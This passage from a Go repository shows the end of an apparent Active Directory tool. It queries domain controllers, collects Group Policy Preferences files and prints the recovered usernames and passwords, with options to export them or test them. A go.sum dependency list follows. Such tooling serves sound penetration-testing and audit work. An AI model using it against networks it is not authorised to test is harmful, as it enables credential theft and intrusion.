240 | // Closing the AND
241 | domainControllersQuery += ")"
242 |
243 | if config.Debug {
244 | logger.Debug(fmt.Sprintf("LDAP query used: %s", domainControllersQuery))
245 | }
246 | attributes := []string{"distinguishedName", "dnsHostname"}
247 | domainControllersResults := ldap.QueryWholeSubtree(&ldapSession, "", domainControllersQuery, attributes)
248 |
249 | gpppfound := crypto.GroupPolicyPreferencePasswordsFound{}
250 | gpppfound.Entries = make(map[string][]*crypto.CPasswordEntry)
251 |
252 | if len(domainControllersResults) != 0 {
253 |
254 | core.RunWorkers(config.Threads, domainControllersResults, config, &gpppfound)
255 |
256 | logger.Info("")
257 | if len(gpppfound.Entries) == 0 {
258 | logger.Info("No results.")
259 | logger.Info("")
260 | } else {
261 | logger.Info("Results:")
262 | logger.Info("")
263 | }
264 |
265 | for pathToFile := range gpppfound.Entries {
266 | if (runtime.GOOS == "linux" || runtime.GOOS == "darwin") && !nocolors {
267 | logger.Info(fmt.Sprintf("[+] File: \x1b[94m%s\x1b[0m", pathToFile))
268 | } else {
269 | logger.Info(fmt.Sprintf("[+] File: %s", pathToFile))
270 | }
271 | for k, entry := range gpppfound.Entries[pathToFile] {
272 | if len(entry.RunAs) != 0 {
273 | if (runtime.GOOS == "linux" || runtime.GOOS == "darwin") && !nocolors {
274 | logger.Info(fmt.Sprintf(" │ \x1b[94mRunAs\x1b[0m : \x1b[93m%s\x1b[0m", entry.RunAs))
275 | } else {
276 | logger.Info(fmt.Sprintf(" │ RunAs : %s", entry.RunAs))
277 | }
278 | }
279 | if len(entry.UserName) != 0 {
280 | if (runtime.GOOS == "linux" || runtime.GOOS == "darwin") && !nocolors {
281 | logger.Info(fmt.Sprintf(" │ \x1b[94mUserName\x1b[0m : \x1b[93m%s\x1b[0m", entry.UserName))
282 | } else {
283 | logger.Info(fmt.Sprintf(" │ UserName : %s", entry.UserName))
284 | }
285 | }
286 | if len(entry.NewName) != 0 {
287 | if (runtime.GOOS == "linux" || runtime.GOOS == "darwin") && !nocolors {
288 | logger.Info(fmt.Sprintf(" │ \x1b[94mNewName\x1b[0m : \x1b[93m%s\x1b[0m", entry.NewName))
289 | } else {
290 | logger.Info(fmt.Sprintf(" │ NewName : %s", entry.NewName))
291 | }
292 | }
293 | if len(entry.Password) != 0 {
294 | if (runtime.GOOS == "linux" || runtime.GOOS == "darwin") && !nocolors {
295 | logger.Info(fmt.Sprintf(" │ \x1b[94mPassword\x1b[0m : \x1b[93m%s\x1b[0m", entry.Password))
296 | } else {
297 | logger.Info(fmt.Sprintf(" │ Password : %s", entry.Password))
298 | }
299 | }
300 |
301 | if k == (len(gpppfound.Entries[pathToFile]) - 1) {
302 | logger.Info(" └──")
303 | } else {
304 | logger.Info(" ├──")
305 | }
306 | }
307 | }
308 |
309 | if len(gpppfound.Entries) == 0 {
310 | logger.Info("Found no files containing Group Policy Preferences Passwords")
311 | } else if len(gpppfound.Entries) == 1 {
312 | logger.Info(fmt.Sprintf("Found %d file containing Group Policy Preferences Passwords", len(gpppfound.Entries)))
313 | } else {
314 | logger.Info(fmt.Sprintf("Found %d files containing Group Policy Preferences Passwords", len(gpppfound.Entries)))
315 | }
316 |
317 | if len(outputExcel) != 0 {
318 | exporter.GenerateExcel(gpppfound, config, outputExcel)
319 | }
320 |
321 | if testCredentials {
322 | TestCredentials(gpppfound, config)
323 | }
324 | } else {
325 | // This should not happen in an Active Directory domain
326 | if config.Debug {
327 | logger.Debug("No domain controllers were found, This should not happen in an Active Directory domain.")
328 | }
329 | }
330 | } else {
331 | logger.Warn(fmt.Sprintf("Error: %s", err))
332 | }
333 |
334 | // Elapsed time
335 | elapsedTime := time.Since(startTime).Round(time.Millisecond)
336 | hours := int(elapsedTime.Hours())
337 | minutes := int(elapsedTime.Minutes()) % 60
338 | seconds := int(elapsedTime.Seconds()) % 60
339 | milliseconds := int(elapsedTime.Milliseconds()) % 1000
340 | logger.Info(fmt.Sprintf("Total time elapsed: %02dh%02dm%02d.%04ds", hours, minutes, seconds, milliseconds))
341 | }
342 |
--------------------------------------------------------------------------------
/go.sum:
--------------------------------------------------------------------------------
1 | github.com/Azure/go-ntlmssp v0.0.0-20221128193559-754e69321358 h1:mFRzDkZVAjdal+s7s0MwaRv9igoPqLRdzOLzw/8Xvq8=
2 | github.com/Azure/go-ntlmssp v0.0.0-20221128193559-754e69321358/go.mod h1:chxPXzSsl7ZWRAuOIE23GDNzjWuZquvFlgA8xmpunjU=
3 | github.com/alexbrainman/sspi v0.0.0-20231016080023-1a75b4708caa h1:LHTHcTQiSGT7VVbI0o4wBRNQIgn917usHWOd6VAffYI=
4 | github.com/alexbrainman/sspi v0.0.0-20231016080023-1a75b4708caa/go.mod h1:cEWa1LVoE5KvSD9ONXsZrj0z6KqySlCCNKHlLzbqAt4=
5 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
6 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
7 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
8 | github.com/go-asn1-ber/asn1-ber v1.5.5/go.mod h1:hEBeB/ic+5LoWskz+yKT7vGhhPYkProFKoKdwZRWMe0=
9 | github.com/go-asn1-ber/asn1-ber v1.5.7 h1:DTX+lbVTWaTw1hQ+PbZPlnDZPEIs0SS/GCZAl535dDk=
10 | github.com/go-asn1-ber/asn1-ber v1.5.7/go.mod h1:hEBeB/ic+5LoWskz+yKT7vGhhPYkProFKoKdwZRWMe0=
11 | github.com/go-ldap/ldap/v3 v3.4.8 h1:loKJyspcRezt2Q3ZRMq2p/0v8iOurlmeXDPw6fikSvQ=
12 | github.com/go-ldap/ldap/v3 v3.4.8/go.mod h1:qS3Sjlu76eHfHGpUdWkAXQTw4beih+cHsco2jXlIXrk=
13 | github.com/go-ldap/ldap/v3 v3.4.10 h1:ot/iwPOhfpNVgB1o+AVXljizWZ9JTp7YF5oeyONmcJU=
14 | github.com/go-ldap/ldap/v3 v3.4.10/go.mod h1:JXh4Uxgi40P6E9rdsYqpUtbW46D9UTjJ9QSwGRznplY=
15 | github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY=
16 | github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0=
17 | github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
18 | github.com/gorilla/securecookie v1.1.1/go.mod h1:ra0sb63/xPlUeL+yeDciTfxMRAA+MP+HVt/4epWDjd4=
19 | github.com/gorilla/sessions v1.2.1/go.mod h1:dk2InVEVJ0sfLlnXv9EAgkf6ecYs/i80K/zI+bUmuGM=
20 | github.com/hashicorp/go-uuid v1.0.2/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro=
21 | github.com/hashicorp/go-uuid v1.0.3 h1:2gKiV6YVmrJ1i2CKKa9obLvRieoRGviZFL26PcT/Co8=
22 | github.com/hashicorp/go-uuid v1.0.3/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro=
23 | github.com/jcmturner/aescts/v2 v2.0.0 h1:9YKLH6ey7H4eDBXW8khjYslgyqG2xZikXP0EQFKrle8=
24 | github.com/jcmturner/aescts/v2 v2.0.0/go.mod h1:AiaICIRyfYg35RUkr8yESTqvSy7csK90qZ5xfvvsoNs=
25 | github.com/jcmturner/dnsutils/v2 v2.0.0 h1:lltnkeZGL0wILNvrNiVCR6Ro5PGU/SeBvVO/8c/iPbo=
26 | github.com/jcmturner/dnsutils/v2 v2.0.0/go.mod h1:b0TnjGOvI/n42bZa+hmXL+kFJZsFT7G4t3HTlQ184QM=
27 | github.com/jcmturner/gofork v1.7.6 h1:QH0l3hzAU1tfT3rZCnW5zXl+orbkNMMRGJfdJjHVETg=
28 | github.com/jcmturner/gofork v1.7.6/go.mod h1:1622LH6i/EZqLloHfE7IeZ0uEJwMSUyQ/nDd82IeqRo=
29 | github.com/jcmturner/goidentity/v6 v6.0.1 h1:VKnZd2oEIMorCTsFBnJWbExfNN7yZr3EhJAxwOkZg6o=
30 | github.com/jcmturner/goidentity/v6 v6.0.1/go.mod h1:X1YW3bgtvwAXju7V3LCIMpY0Gbxyjn/mY9zx4tFonSg=
31 | github.com/jcmturner/gokrb5/v8 v8.4.4 h1:x1Sv4HaTpepFkXbt2IkL29DXRf8sOfZXo8eRKh687T8=
32 | github.com/jcmturner/gokrb5/v8 v8.4.4/go.mod h1:1btQEpgT6k+unzCwX1KdWMEwPPkkgBtP+F6aCACiMrs=
33 | github.com/jcmturner/rpc/v2 v2.0.3 h1:7FXXj8Ti1IaVFpSAziCZWNzbNuZmnvw/i6CqLNdWfZY=
34 | github.com/jcmturner/rpc/v2 v2.0.3/go.mod h1:VUJYCIDm3PVOEHw8sgt091/20OJjskO/YJki3ELg/Hc=
35 | github.com/jfjallid/go-smb v0.5.5 h1:oY7MGmmziH0HzeUBF9sPNZOBjoWHwGON1sCazGJVAhU=
36 | github.com/jfjallid/go-smb v0.5.5/go.mod h1:gCorMd5NXhyMR3f1/x+qTZRSN35/6iY5TuqFIWb+Ovg=
37 | github.com/jfjallid/go-smb v0.5.7 h1:2lcXR9TNCfVuLYv2/Pyj6t6Zi6hSLe5pG8Kow9tODAo=
38 | github.com/jfjallid/go-smb v0.5.7/go.mod h1:gCorMd5NXhyMR3f1/x+qTZRSN35/6iY5TuqFIWb+Ovg=
39 | github.com/jfjallid/gofork v1.7.6 h1:OYyS2HH597860gkDxxjNsl+NZRxoAnuRI6ZsP++kYKE=
40 | github.com/jfjallid/gofork v1.7.6/go.mod h1:r1EH4W9KY5iqtiGhAupnbzMRONsLDApdJ9EZH5NWFSc=
41 | github.com/jfjallid/gokrb5/v8 v8.4.4 h1:log4i4lIQDOKe/RHWTHdTGeeJTYMW/+M07JgHAiE0as=
42 | github.com/jfjallid/gokrb5/v8 v8.4.4/go.mod h1:RbpQRNWdL0hXz/jTmtRB1Gcx4ZqFzJpyJLSarBMehrI=
43 | github.com/jfjallid/golog v0.3.3 h1:dY6qf8wTxJ9OwBPVTadVRDmt/6MVXSWwXrxaGMMyXsU=
44 | github.com/jfjallid/golog v0.3.3/go.mod h1:19Q/zg5OgPPd0xhFllokPnMzthzhFPZmiAGAokE7k58=
45 | github.com/mohae/deepcopy v0.0.0-20170929034955-c48cc78d4826 h1:RWengNIwukTxcDr9M+97sNutRR1RKhG96O6jWumTTnw=
46 | github.com/mohae/deepcopy v0.0.0-20170929034955-c48cc78d4826/go.mod h1:TaXosZuwdSHYgviHp1DAtfrULt5eUgsSMsZf+YrPgl8=
47 | github.com/p0dalirius/goopts v0.0.0-20241022155150-3389b3863f21 h1:OJv3knY293jem4vQBxkcDcP0cLziDQukpZneYg5OTNI=
48 | github.com/p0dalirius/goopts v0.0.0-20241022155150-3389b3863f21/go.mod h1:ywoVqxtyqZnnU681MNWq2OV+x/zZM0Bm+x9VZaMehps=
49 | github.com/p0dalirius/goopts v1.0.0 h1:hp+sdZFo4R2A+nyUAtjYyDjrGwM9vbEO4BJR3LXfuNc=
50 | github.com/p0dalirius/goopts v1.0.0/go.mod h1:ywoVqxtyqZnnU681MNWq2OV+x/zZM0Bm+x9VZaMehps=
51 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
52 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
53 | github.com/richardlehane/mscfb v1.0.4 h1:WULscsljNPConisD5hR0+OyZjwK46Pfyr6mPu5ZawpM=
54 | github.com/richardlehane/mscfb v1.0.4/go.mod h1:YzVpcZg9czvAuhk9T+a3avCpcFPMUWm7gK3DypaEsUk=
55 | github.com/richardlehane/msoleps v1.0.1/go.mod h1:BWev5JBpU9Ko2WAgmZEuiz4/u3ZYTKbjLycmwiWUfWg=
56 | github.com/richardlehane/msoleps v1.0.4 h1:WuESlvhX3gH2IHcd8UqyCuFY5yiq/GR/yqaSM/9/g00=
57 | github.com/richardlehane/msoleps v1.0.4/go.mod h1:BWev5JBpU9Ko2WAgmZEuiz4/u3ZYTKbjLycmwiWUfWg=
58 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
59 | github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw=
60 | github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo=
61 | github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4=
62 | github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
63 | github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU=
64 | github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4=
65 | github.com/stretchr/testify v1.8.4 h1:CcVxjf3Q8PM0mHUKJCdn+eZZtm5yQwehR5yeSVQQcUk=
66 | github.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo=
67 | github.com/xuri/efp v0.0.0-20240408161823-9ad904a10d6d h1:llb0neMWDQe87IzJLS4Ci7psK/lVsjIS2otl+1WyRyY=
68 | github.com/xuri/efp v0.0.0-20240408161823-9ad904a10d6d/go.mod h1:ybY/Jr0T0GTCnYjKqmdwxyxn2BQf2RcQIIvex5QldPI=
69 | github.com/xuri/efp v0.0.0-20241211021726-c4e992084aa6 h1:8m6DWBG+dlFNbx5ynvrE7NgI+Y7OlZVMVTpayoW+rCc=
70 | github.com/xuri/efp v0.0.0-20241211021726-c4e992084aa6/go.mod h1:ybY/Jr0T0GTCnYjKqmdwxyxn2BQf2RcQIIvex5QldPI=
71 | github.com/xuri/excelize/v2 v2.9.0 h1:1tgOaEq92IOEumR1/JfYS/eR0KHOCsRv/rYXXh6YJQE=
72 | github.com/xuri/excelize/v2 v2.9.0/go.mod h1:uqey4QBZ9gdMeWApPLdhm9x+9o2lq4iVmjiLfBS5hdE=
73 | github.com/xuri/nfp v0.0.0-20240318013403-ab9948c2c4a7 h1:hPVCafDV85blFTabnqKgNhDCkJX25eik94Si9cTER4A=
74 | github.com/xuri/nfp v0.0.0-20240318013403-ab9948c2c4a7/go.mod h1:WwHg+CVyzlv/TX9xqBFXEZAuxOPxn2k1GNHwG41IIUQ=
75 | github.com/xuri/nfp v0.0.0-20250111060730-82a408b9aa71 h1:hOh7aVDrvGJRxzXrQbDY8E+02oaI//5cHL+97oYpEPw=
76 | github.com/xuri/nfp v0.0.0-20250111060730-82a408b9aa71/go.mod h1:WwHg+CVyzlv/TX9xqBFXEZAuxOPxn2k1GNHwG41IIUQ=
77 | github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY=
78 | github.com/zenazn/pkcs7pad v0.0.0-20170308005700-253a5b1f0e03 h1:m1h+vudopHsI67FPT9MOncyndWhTcdUoBtI1R1uajGY=
79 | github.com/zenazn/pkcs7pad v0.0.0-20170308005700-253a5b1f0e03/go.mod h1:8sheVFH84v3PCyFY/O02mIgSQY9I6wMYPWsq7mDnEZY=
80 | golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
81 | golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
82 | golang.org/x/crypto v0.6.0/go.mod h1:OFC/31mSvZgRz0V1QTNCzfAI1aIRzbiufJtkMIlEp58=
83 | golang.org/x/crypto v0.13.0/go.mod h1:y6Z2r+Rw4iayiXXAIxJIDAJ1zMW4yaTpebo8fPOliYc=
84 | golang.org/x/crypto v0.19.0/go.mod h1:Iy9bg/ha4yyC70EfRS8jz+B6ybOBKMaSxLj6P6oBDfU=
85 | golang.org/x/crypto v0.21.0/go.mod h1:0BP7YvVV9gBbVKyeTG0Gyn+gZm94bibOW5BjDEYAOMs=
86 | golang.org/x/crypto v0.23.0/go.mod h1:CKFgDieR+mRhux2Lsu27y0fO304Db0wZe70UKqHu0v8=
87 | golang.org/x/crypto v0.28.0 h1:GBDwsMXVQi34v5CCYUm2jkJvu4cbtru2U4TN2PSyQnw=
88 | golang.org/x/crypto v0.28.0/go.mod h1:rmgy+3RHxRZMyY0jjAJShp2zgEdOqj2AO7U0pYmeQ7U=
89 | golang.org/x/crypto v0.31.0/go.mod h1:kDsLvtWBEx7MV9tJOj9bnXsPbxwJQ6csT/x4KIN4Ssk=
90 | golang.org/x/crypto v0.32.0 h1:euUpcYgM8WcP71gNpTqQCn6rC2t6ULUPiOzfWaXVVfc=
91 | golang.org/x/crypto v0.32.0/go.mod h1:ZnnJkOaASj8g0AjIduWNlq2NRxL0PlBrbKVyZ6V/Ugc=
92 | golang.org/x/image v0.18.0 h1:jGzIakQa/ZXI1I0Fxvaa9W7yP25TqT6cHIHn+6CqvSQ=
93 | golang.org/x/image v0.18.0/go.mod h1:4yyo5vMFQjVjUcVk4jEQcU9MGy/rulF5WvUILseCM2E=
94 | golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4=
95 | golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs=
96 | golang.org/x/mod v0.12.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs=
97 | golang.org/x/mod v0.15.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c=
98 | golang.org/x/mod v0.17.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c=
99 | golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
100 | golang.org/x/net v0.0.0-20200114155413-6afb5195e5aa/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
101 | golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
102 | golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c=
103 | golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs=
104 | golang.org/x/net v0.7.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs=
105 | golang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg=
106 | golang.org/x/net v0.15.0/go.mod h1:idbUs1IY1+zTqbi8yxTbhexhEEk5ur9LInksu6HrEpk=
107 | golang.org/x/net v0.21.0/go.mod h1:bIjVDfnllIU7BJ2DNgfnXvpSvtn8VRwhlsaeUTyUS44=
108 | golang.org/x/net v0.22.0/go.mod h1:JKghWKKOSdJwpW2GEx0Ja7fmaKnMsbu+MWVZTokSYmg=
109 | golang.org/x/net v0.25.0/go.mod h1:JkAGAh7GEvH74S6FOH42FLoXpXbE/aqXSrIQjXgsiwM=
110 | golang.org/x/net v0.30.0 h1:AcW1SDZMkb8IpzCdQUaIq2sP4sZ4zw+55h6ynffypl4=
111 | golang.org/x/net v0.30.0/go.mod h1:2wGyMJ5iFasEhkwi13ChkO/t1ECNC4X4eBKkVFyYFlU=
112 | golang.org/x/net v0.33.0/go.mod h1:HXLR5J+9DxmrqMwG9qjGCxZ+zKXxBru04zlTvWlWuN4=
113 | golang.org/x/net v0.34.0 h1:Mb7Mrk043xzHgnRM88suvJFwzVrRfHEHJEl5/71CKw0=
114 | golang.org/x/net v0.34.0/go.mod h1:di0qlW3YNM5oh6GqDGQr92MyTozJPmybPK4Ev/Gm31k=
115 | golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
116 | golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
117 | golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
118 | golang.org/x/sync v0.3.0/go.mod h1:FU7BRWz2tNW+3quACPkgCx/L+uEAv1htQ0V83Z9Rj+Y=
119 | golang.org/x/sync v0.6.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk=
120 | golang.org/x/sync v0.7.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk=
121 | golang.org/x/sync v0.10.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk=
122 | golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
123 | golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
124 | golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
125 | golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
126 | golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
127 | golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
128 | golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
129 | golang.org/x/sys v0.12.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
130 | golang.org/x/sys v0.17.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
131 | golang.org/x/sys v0.18.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
132 | golang.org/x/sys v0.20.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
133 | golang.org/x/sys v0.28.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
134 | golang.org/x/telemetry v0.0.0-20240228155512-f48c80bd79b2/go.mod h1:TeRTkGYfJXctD9OcfyVLyj2J3IxLnKwHJR8f4D8a3YE=
135 | golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
136 | golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=
137 | golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k=
138 | golang.org/x/term v0.8.0/go.mod h1:xPskH00ivmX89bAKVGSKKtLOWNx2+17Eiy94tnKShWo=
139 | golang.org/x/term v0.12.0/go.mod h1:owVbMEjm3cBLCHdkQu9b1opXd4ETQWc3BhuQGKgXgvU=
140 | golang.org/x/term v0.17.0/go.mod h1:lLRBjIVuehSbZlaOtGMbcMncT+aqLLLmKrsjNrUguwk=
141 | golang.org/x/term v0.18.0/go.mod h1:ILwASektA3OnRv7amZ1xhE/KTR+u50pbXfZ03+6Nx58=
142 | golang.org/x/term v0.20.0/go.mod h1:8UkIAJTvZgivsXaD6/pH6U9ecQzZ45awqEOzuCvwpFY=
143 | golang.org/x/term v0.27.0/go.mod h1:iMsnZpn0cago0GOrHO2+Y7u7JPn5AylBrcoWkElMTSM=
144 | golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
145 | golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
146 | golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
147 | golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8=
148 | golang.org/x/text v0.9.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8=
149 | golang.org/x/text v0.13.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE=
150 | golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU=
151 | golang.org/x/text v0.15.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU=
152 | golang.org/x/text v0.19.0 h1:kTxAhCbGbxhK0IwgSKiMO5awPoDQ0RpfiVYBfK860YM=
153 | golang.org/x/text v0.19.0/go.mod h1:BuEKDfySbSR4drPmRPG/7iBdf8hvFMuRexcpahXilzY=
154 | golang.org/x/text v0.21.0 h1:zyQAAkrwaneQ066sspRyJaG9VNi/YJ1NfzcGB3hZ/qo=
155 | golang.org/x/text v0.21.0/go.mod h1:4IBbMaMmOPCJ8SecivzSH54+73PCFmPWxNTLm+vZkEQ=
156 | golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
157 | golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
158 | golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc=
159 | golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU=
160 | golang.org/x/tools v0.13.0/go.mod h1:HvlwmtVNQAhOuCjW7xxvovg8wbNq7LwfXh/k7wXUl58=
161 | golang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d/go.mod h1:aiJjzUbINMkxbQROHiO6hDPo2LHcIPhhQsa9DLh0yGk=
162 | golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
163 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
164 | gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
165 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
166 | gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
167 | gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
168 |
--------------------------------------------------------------------------------